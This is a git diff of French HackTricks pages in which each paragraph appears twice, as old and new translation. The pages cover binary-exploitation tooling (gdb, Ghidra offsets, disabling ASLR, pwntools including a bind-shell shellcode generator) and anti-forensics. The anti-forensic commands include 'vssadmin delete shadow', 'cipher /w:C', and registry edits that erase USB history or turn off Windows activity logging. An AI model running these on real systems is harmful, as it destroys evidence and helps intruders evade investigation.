### Backtrace pour trouver les fonctions appelées
### Retracer pour trouver les fonctions appelées
Lorsque vous avez un binaire **lié statiquement**, toutes les fonctions appartiendront au binaire (et non à des bibliothèques externes). Dans ce cas, il sera difficile d'**identifier le flux que suit le binaire pour demander par exemple une entrée utilisateur**.\
Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce que vous soyez invité à entrer une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**backtrace**) pour voir les fonctions appelées :
Lorsque vous avez un **binaire lié statiquement**, toutes les fonctions appartiendront au binaire (et non aux bibliothèques externes). Dans ce cas, il sera difficile de **identifier le flux que suit le binaire pour par exemple demander une entrée utilisateur**.\
Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce qu'on vous demande une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**backtrace**) pour voir les fonctions appelées :
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -164,11 +140,11 @@ gef➤ bt
# Ghidra
## Trouver l'offset de la pile
## Trouver le décalage de la pile
**Ghidra** est très utile pour trouver l'**offset** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\
Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un offset de `0xbc`. De plus, si `local_10` est un cookie canary, cela indique que pour l'écraser depuis `local_bc`, il y a un offset de `0xac`.\
_Rappelez-vous que les premiers 0x08 à partir desquels le RIP est enregistré appartiennent au RBP._
**Ghidra** est très utile pour trouver le **décalage** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\
Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un décalage de `0xbc`. De plus, si `local_10` est un cookie canary, cela indique qu'il faut un décalage de `0xac` pour l'écraser à partir de `local_bc`.\
_Rappelez-vous que les 0x08 premiers où le RIP est sauvegardé appartiennent au RBP._
![](<../../.gitbook/assets/image (616).png>)
@ -176,8 +152,8 @@ _Rappelez-vous que les premiers 0x08 à partir desquels le RIP est enregistré a
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compiler sans protections\
**-o** --> Sortie\
**-g** --> Enregistrer le code (GDB pourra le voir)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Pour désactiver l'ASLR sous Linux
**-g** --> Sauvegarder le code (GDB pourra le voir)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Pour désactiver l'ASLR dans Linux
**Pour compiler un shellcode :**\
**nasm -f elf assembly.asm** --> retourne un ".o"\
@ -185,46 +161,61 @@ _Rappelez-vous que les premiers 0x08 à partir desquels le RIP est enregistré a
# Objdump
**-d** --> **Désassembler les sections** exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse de la fonction...)\
**-Mintel** --> Syntaxe **Intel**\
**-t** --> Table des **symboles**\
**-D** --> **Désassembler tout** (adresse de la variable statique)\
**-s -j .dtors** --> Section **dtors**\
**-s -j .got** --> Section **got**\
\-D -s -j .plt --> Section **plt** **décompilée**\
**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresse ou variable statique (celles-ci sont stockées dans la section DATA).
**-d** --> Désassembler les sections exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse d'une fonction...)\
**-Mintel** --> Syntaxe Intel\
**-t** --> Table des symboles\
**-D** --> Désassembler tout (adresse d'une variable statique)\
**-s -j .dtors** --> section dtors\
**-s -j .got** --> section got\
\-D -s -j .plt --> section plt décompilée\
**-TR** --> Réallocations\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans le GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresse d'une variable statique (celles-ci sont stockées dans la section DATA).
# Core dumps
# Dumps de core
1. Exécutez `ulimit -c unlimited` avant de démarrer mon programme
2. Exécutez `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
1. Exécuter `ulimit -c unlimited` avant de démarrer mon programme
2. Exécuter `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. `sudo gdb --core=\<path/core> --quiet`
# Plus
**ldd executable | grep libc.so.6** --> Adresse (si ASLR, alors cela change à chaque fois)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Boucle pour voir si l'adresse change beaucoup\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh"
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Décalage de "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Décalage de "/bin/sh"
**strace executable** --> Fonctions appelées par l'exécutable\
**rabin2 -i ejecutable -->** Adresse de toutes les fonctions
# **Inmunity debugger**
# **Débogueur Inmunity**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
# IDA
## Débogage à distance sur Linux
## Débogage à distance sous Linux
Dans le dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire sur un système Linux. Pour ce faire, déplacez le binaire _linux\_server_ ou _linux\_server64_ sur le serveur Linux et exécutez-le dans le dossier qui contient le binaire :
À l'intérieur du dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire sous Linux. Pour ce faire, déplacez le binaire _linux\_server_ ou _linux\_server64_ à l'intérieur du serveur Linux et exécutez-le à l'intérieur du dossier contenant le binaire :
```
./linux_server64 -Ppass
```
Ensuite, configurez le débogueur : Débogueur (remote linux) --> Options de processus... :
Ensuite, configurez le débogueur : Débogueur (remote linux) --> Options du processus... :
![](<../../.gitbook/assets/image (101).png>)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

90
exploiting/tools/pwntools.md
View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
D'autres façons de soutenir HackTricks:
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
```
@ -18,7 +16,7 @@ pip3 install pwntools
```
# Pwn asm
Obtenir les opcodes d'une ligne ou d'un fichier.
Obtenez les opcodes à partir d'une ligne ou d'un fichier.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
@ -26,37 +24,31 @@ pwn asm -i <filepath>
**Peut sélectionner:**
* type de sortie (brut, hexadécimal, chaîne, elf)
* contexte de fichier de sortie (16,32,64,linux,windows...)
* éviter les octets (nouvelles lignes, null, une liste)
* sélectionner l'encodeur de débogage shellcode en utilisant gdb pour exécuter la sortie
* contexte du fichier de sortie (16,32,64,linux,windows...)
* éviter les octets (retours à la ligne, nuls, une liste)
* sélectionner le débogueur d'encodeur de shellcode en utilisant gdb pour exécuter la sortie
# **Pwn checksec**
# **Vérification de la sécurité de Pwn**
Script Checksec
Script checksec
```
pwn checksec <executable>
```
# Pwn constgrep
Recherche de chaînes de caractères dans les binaires.
`constgrep` est un outil qui permet de rechercher des chaînes de caractères dans les binaires. Il est très utile pour trouver des chaînes de caractères sensibles telles que des mots de passe ou des clés secrètes qui ont été laissées dans le code source.
# Pwn cyclic
Générer un motif de débordement.
`cyclic` est un outil qui permet de générer un motif de débordement. Ce motif est utilisé pour déterminer la longueur maximale de la charge utile lors de l'exploitation d'une vulnérabilité de débordement de tampon. Le motif est généré en utilisant une séquence de lettres et de chiffres qui se répètent de manière prévisible.
Obtenez un motif
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Peut sélectionner:**
* L'alphabet utilisé (minuscules par défaut)
* L'alphabet utilisé (caractères minuscules par défaut)
* Longueur du motif unique (par défaut 4)
* Contexte (16,32,64,linux,windows...)
* Prendre l'offset (-l)
* Prendre le décalage (-l)
# Pwn debug
@ -72,9 +64,9 @@ pwn debug --process bash
* gdbscript à exécuter
* sysrootpath
# Pwn disablenx
# Désactiver nx
Désactiver nx d'un binaire
Désactive nx d'un binaire
```
pwn disablenx <filepath>
```
@ -92,26 +84,26 @@ pwn disasm ffe4
# Pwn elfdiff
Affiche les différences entre 2 fichiers.
Affiche les différences entre 2 fichiers
```
pwn elfdiff <file1> <file2>
```
# Pwn hex
Obtenir la représentation hexadécimale
Obtenez la représentation hexadécimale
```bash
pwn hex hola #Get hex of "hola" ascii
```
# Pwn phd
Obtenir un hexdump
Obtenir le hexdump
```
pwn phd <file>
```
**Peut sélectionner:**
* Le nombre d'octets à afficher
* Le nombre d'octets par ligne en surbrillance
* Nombre d'octets à afficher
* Nombre d'octets par ligne à mettre en évidence
* Ignorer les octets au début
# Pwn pwnstrip
@ -133,31 +125,31 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
* shellcode et arguments pour le shellcode
* Fichier de sortie
* Format de sortie
* Débogage (attacher dbg au shellcode)
* avant (piège de débogage avant le code)
* déboguer (attacher dbg au shellcode)
* avant (piéger le débogage avant le code)
* après
* éviter d'utiliser des opcodes (par défaut: non nul et nouvelle ligne)
* Exécuter le shellcode
* Couleur/sans couleur
* Liste des appels système
* Liste des shellcodes possibles
* Générer ELF en tant que bibliothèque partagée
* lister les appels système
* lister les shellcodes possibles
* Générer un ELF en tant que bibliothèque partagée
# Modèle Pwn
Obtenez un modèle python
Obtenez un modèle Python
```
pwn template
```
**Peut sélectionner :** hôte, port, utilisateur, mot de passe, chemin et silencieux
# Pwn unhex
De l'hexadécimal à la chaîne de caractères
**Peut sélectionner:** hôte, port, utilisateur, mot de passe, chemin et mode silencieux
De hex à chaîne
```
pwn unhex 686f6c61
```
# Mise à jour de Pwn
# Mise à jour
Pour mettre à jour pwntools
```
@ -165,16 +157,14 @@ pwn update
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
D'autres façons de soutenir HackTricks:
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

115
forensics/basic-forensic-methodology/anti-forensic-techniques.md
View file

@ -1,8 +1,22 @@
```markdown
# Horodatages
<details>
Un attaquant peut être intéressé par **changer les horodatages des fichiers** pour éviter d'être détecté.\
Il est possible de trouver les horodatages dans le MFT dans les attributs `$STANDARD_INFORMATION` __ et __ `$FILE_NAME`.
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
# Horodatage
Un attaquant peut être intéressé par **le changement des horodatages des fichiers** pour éviter d'être détecté.\
Il est possible de trouver les horodatages à l'intérieur du MFT dans les attributs `$STANDARD_INFORMATION` __ et __ `$FILE_NAME`.
Les deux attributs ont 4 horodatages : **Modification**, **accès**, **création**, et **modification du registre MFT** (MACE ou MACB).
@ -10,39 +24,39 @@ Les deux attributs ont 4 horodatages : **Modification**, **accès**, **création
## TimeStomp - Outil anti-forensique
Cet outil **modifie** les informations d'horodatage dans **`$STANDARD_INFORMATION`** **mais** **pas** les informations dans **`$FILE_NAME`**. Par conséquent, il est possible d'**identifier** une **activité suspecte**.
Cet outil **modifie** les informations d'horodatage à l'intérieur de **`$STANDARD_INFORMATION`** **mais** **pas** les informations à l'intérieur de **`$FILE_NAME`**. Par conséquent, il est possible d'**identifier** une **activité suspecte**.
## Usnjrnl
Le **Journal USN** (Update Sequence Number Journal), ou Journal de Modification, est une fonctionnalité du système de fichiers Windows NT (NTFS) qui **maintient un enregistrement des modifications apportées au volume**.\
Il est possible d'utiliser l'outil [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) pour rechercher des modifications dans cet enregistrement.
Le **Journal USN** (Journal de numéro de séquence de mise à jour), ou Journal des modifications, est une fonctionnalité du système de fichiers Windows NT (NTFS) qui **maintient un enregistrement des modifications apportées au volume**.\
Il est possible d'utiliser l'outil [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) pour rechercher les modifications apportées à cet enregistrement.
![](<../../.gitbook/assets/image (449).png>)
L'image précédente est le **résultat** affiché par l'**outil** où l'on peut observer que des **changements ont été effectués** sur le fichier.
L'image précédente est la **sortie** affichée par l'**outil** où l'on peut observer que des **changements ont été effectués** sur le fichier.
## $LogFile
Tous les changements de métadonnées d'un système de fichiers sont enregistrés pour assurer la récupération cohérente des structures critiques du système de fichiers après un crash système. Cela s'appelle [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging).\
Les métadonnées enregistrées sont stockées dans un fichier appelé “**$LogFile**”, qui se trouve dans un répertoire racine d'un système de fichiers NTFS.\
Il est possible d'utiliser des outils comme [LogFileParser](https://github.com/jschicht/LogFileParser) pour analyser ce fichier et trouver des changements.
Toutes les modifications de métadonnées apportées à un système de fichiers sont consignées pour garantir la récupération cohérente des structures de fichiers critiques après un crash système. Cela s'appelle [journalisation avant écriture](https://en.wikipedia.org/wiki/Write-ahead\_logging).\
Les métadonnées consignées sont stockées dans un fichier appelé "**$LogFile**", qui se trouve dans un répertoire racine d'un système de fichiers NTFS.\
Il est possible d'utiliser des outils comme [LogFileParser](https://github.com/jschicht/LogFileParser) pour analyser ce fichier et trouver des modifications.
![](<../../.gitbook/assets/image (450).png>)
Encore une fois, dans le résultat de l'outil, il est possible de voir que **des changements ont été effectués**.
Encore une fois, dans la sortie de l'outil, il est possible de voir que **des changements ont été effectués**.
En utilisant le même outil, il est possible d'identifier **à quel moment les horodatages ont été modifiés** :
En utilisant le même outil, il est possible d'identifier à **quel moment les horodatages ont été modifiés** :
![](<../../.gitbook/assets/image (451).png>)
* CTIME : Heure de création du fichier
* ATIME : Heure de modification du fichier
* MTIME : Heure de modification du registre MFT du fichier
* MTIME : Modification du registre MFT du fichier
* RTIME : Heure d'accès au fichier
## Comparaison `$STANDARD_INFORMATION` et `$FILE_NAME`
## Comparaison de `$STANDARD_INFORMATION` et `$FILE_NAME`
Une autre manière d'identifier des fichiers modifiés de manière suspecte serait de comparer les horodatages des deux attributs à la recherche de **divergences**.
Une autre façon d'identifier des fichiers modifiés de manière suspecte serait de comparer l'heure sur les deux attributs à la recherche de **discordances**.
## Nanosecondes
@ -50,28 +64,28 @@ Les horodatages **NTFS** ont une **précision** de **100 nanosecondes**. Ainsi,
## SetMace - Outil anti-forensique
Cet outil peut modifier les deux attributs `$STARNDAR_INFORMATION` et `$FILE_NAME`. Cependant, à partir de Windows Vista, il est nécessaire d'avoir un OS actif pour modifier ces informations.
Cet outil peut modifier les deux attributs `$STARNDAR_INFORMATION` et `$FILE_NAME`. Cependant, à partir de Windows Vista, il est nécessaire d'avoir un OS en direct pour modifier ces informations.
# Dissimulation de données
# Dissimulation des données
NTFS utilise un cluster et la taille minimale d'information. Cela signifie que si un fichier occupe un cluster et demi, la **moitié restante ne sera jamais utilisée** jusqu'à ce que le fichier soit supprimé. Il est alors possible de **cacher des données dans cet espace libre**.
NTFS utilise un cluster et la taille d'information minimale. Cela signifie que si un fichier occupe un cluster et demi, le **demi restant ne sera jamais utilisé** tant que le fichier n'est pas supprimé. Il est donc possible de **cacher des données dans cet espace inutilisé**.
Il existe des outils comme slacker qui permettent de cacher des données dans cet espace "caché". Cependant, une analyse des fichiers `$logfile` et `$usnjrnl` peut montrer que des données ont été ajoutées :
Il existe des outils comme slacker qui permettent de cacher des données dans cet espace "caché". Cependant, une analyse du `$logfile` et du `$usnjrnl` peut montrer qu'une certaine donnée a été ajoutée :
![](<../../.gitbook/assets/image (452).png>)
Il est alors possible de récupérer l'espace libre en utilisant des outils comme FTK Imager. Notez que ce type d'outil peut sauvegarder le contenu de manière obfusquée ou même chiffrée.
Il est alors possible de récupérer l'espace inutilisé en utilisant des outils comme FTK Imager. Notez que ce type d'outil peut enregistrer le contenu de manière obfusquée ou même chiffrée.
# UsbKill
C'est un outil qui **éteindra l'ordinateur si un changement dans les ports USB** est détecté.\
Une manière de découvrir cela serait d'inspecter les processus en cours et **d'examiner chaque script python en cours d'exécution**.
Une façon de découvrir cela serait d'inspecter les processus en cours d'exécution et de **vérifier chaque script Python en cours d'exécution**.
# Distributions Linux Live
# Distributions Linux en direct
Ces distributions sont **exécutées dans la mémoire RAM**. La seule manière de les détecter est **dans le cas où le système de fichiers NTFS est monté avec des permissions d'écriture**. Si c'est monté juste avec des permissions de lecture, il ne sera pas possible de détecter l'intrusion.
Ces distributions sont **exécutées dans la mémoire RAM**. La seule façon de les détecter est **si le système de fichiers NTFS est monté avec des autorisations d'écriture**. S'il est monté uniquement avec des autorisations de lecture, il ne sera pas possible de détecter l'intrusion.
# Suppression Sécurisée
# Suppression sécurisée
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
@ -79,52 +93,52 @@ Ces distributions sont **exécutées dans la mémoire RAM**. La seule manière d
Il est possible de désactiver plusieurs méthodes de journalisation de Windows pour rendre l'investigation forensique beaucoup plus difficile.
## Désactiver les Horodatages - UserAssist
## Désactiver les horodatages - UserAssist
Il s'agit d'une clé de registre qui conserve les dates et heures auxquelles chaque exécutable a été exécuté par l'utilisateur.
Il s'agit d'une clé de registre qui conserve les dates et heures auxquelles chaque exécutable a été lancé par l'utilisateur.
Pour désactiver UserAssist, deux étapes sont nécessaires :
Désactiver UserAssist nécessite deux étapes :
1. Définir deux clés de registre, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` et `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, toutes deux à zéro pour indiquer que nous voulons désactiver UserAssist.
2. Effacer vos sous-arbres de registre qui ressemblent à `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
2. Effacer vos sous-arbres de registre ressemblant à `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
## Désactiver les Horodatages - Prefetch
## Désactiver les horodatages - Prefetch
Cela enregistrera des informations sur les applications exécutées dans le but d'améliorer la performance du système Windows. Cependant, cela peut aussi être utile pour les pratiques forensiques.
Cela enregistrera des informations sur les applications exécutées dans le but d'améliorer les performances du système Windows. Cependant, cela peut également être utile pour les pratiques forensiques.
* Exécuter `regedit`
* Sélectionner le chemin de fichier `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
* Cliquer avec le bouton droit sur `EnablePrefetcher` et `EnableSuperfetch`
* Sélectionner le chemin du fichier `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
* Clic droit sur à la fois `EnablePrefetcher` et `EnableSuperfetch`
* Sélectionner Modifier sur chacun d'eux pour changer la valeur de 1 (ou 3) à 0
* Redémarrer
## Désactiver les Horodatages - Dernier Temps d'Accès
## Désactiver les horodatages - Heure de dernier accès
Chaque fois qu'un dossier est ouvert à partir d'un volume NTFS sur un serveur Windows NT, le système prend le temps de **mettre à jour un champ d'horodatage sur chaque dossier listé**, appelé le dernier temps d'accès. Sur un volume NTFS fortement utilisé, cela peut affecter les performances.
Chaque fois qu'un dossier est ouvert à partir d'un volume NTFS sur un serveur Windows NT, le système prend le temps de **mettre à jour un champ d'horodatage sur chaque dossier répertorié**, appelé l'heure de dernier accès. Sur un volume NTFS très utilisé, cela peut affecter les performances.
1. Ouvrir l'Éditeur de Registre (Regedit.exe).
1. Ouvrir l'Éditeur du Registre (Regedit.exe).
2. Naviguer jusqu'à `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Chercher `NtfsDisableLastAccessUpdate`. S'il n'existe pas, ajouter ce DWORD et définir sa valeur à 1, ce qui désactivera le processus.
4. Fermer l'Éditeur de Registre et redémarrer le serveur.
3. Rechercher `NtfsDisableLastAccessUpdate`. S'il n'existe pas, ajouter ce DWORD et définir sa valeur sur 1, ce qui désactivera le processus.
4. Fermer l'Éditeur du Registre et redémarrer le serveur.
## Supprimer l'Historique USB
## Supprimer l'historique USB
Toutes les **entrées de périphériques USB** sont stockées dans le Registre Windows sous la clé **USBSTOR** qui contient des sous-clés créées chaque fois que vous branchez un périphérique USB sur votre PC ou ordinateur portable. Vous pouvez trouver cette clé ici `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **En supprimant cela**, vous supprimerez l'historique USB.\
Vous pouvez également utiliser l'outil [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) pour vous assurer de les avoir supprimés (et pour les supprimer).
Toutes les **entrées de périphériques USB** sont stockées dans le Registre Windows sous la clé de registre **USBSTOR** qui contient des sous-clés créées chaque fois que vous branchez un périphérique USB sur votre PC ou ordinateur portable. Vous pouvez trouver cette clé ici H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **En supprimant cela**, vous supprimerez l'historique USB.\
Vous pouvez également utiliser l'outil [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) pour vous assurer que vous les avez supprimés (et pour les supprimer).
Un autre fichier qui enregistre des informations sur les USB est le fichier `setupapi.dev.log` dans `C:\Windows\INF`. Celui-ci devrait également être supprimé.
Un autre fichier qui enregistre des informations sur les clés USB est le fichier `setupapi.dev.log` à l'intérieur de `C:\Windows\INF`. Celui-ci devrait également être supprimé.
## Désactiver les Copies d'Ombre
## Désactiver les copies d'ombre
**Lister** les copies d'ombre avec `vssadmin list shadowstorage`\
**Supprimer** les en exécutant `vssadmin delete shadow`
**Les supprimer** en exécutant `vssadmin delete shadow`
Vous pouvez également les supprimer via l'interface graphique en suivant les étapes proposées dans [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Pour désactiver les copies d'ombre :
1. Aller au bouton de démarrage Windows et taper "services" dans la boîte de recherche de texte ; ouvrir le programme Services.
2. Localiser "Volume Shadow Copy" dans la liste, le mettre en surbrillance, puis cliquer avec le bouton droit > Propriétés.
1. Aller sur le bouton de démarrage de Windows et taper "services" dans la zone de recherche de texte ; ouvrir le programme Services.
2. Localiser "Volume Shadow Copy" dans la liste, le mettre en surbrillance, puis clic droit > Propriétés.
3. Dans le menu déroulant "Type de démarrage", sélectionner Désactivé, puis cliquer sur Appliquer et OK.
![](<../../.gitbook/assets/image (453).png>)
@ -133,22 +147,23 @@ Il est également possible de modifier la configuration des fichiers qui vont ê
## Écraser les fichiers supprimés
* Vous pouvez utiliser un **outil Windows** : `cipher /w:C` Cela indiquera à cipher de supprimer toutes les données de l'espace disque disponible inutilisé dans le lecteur C.
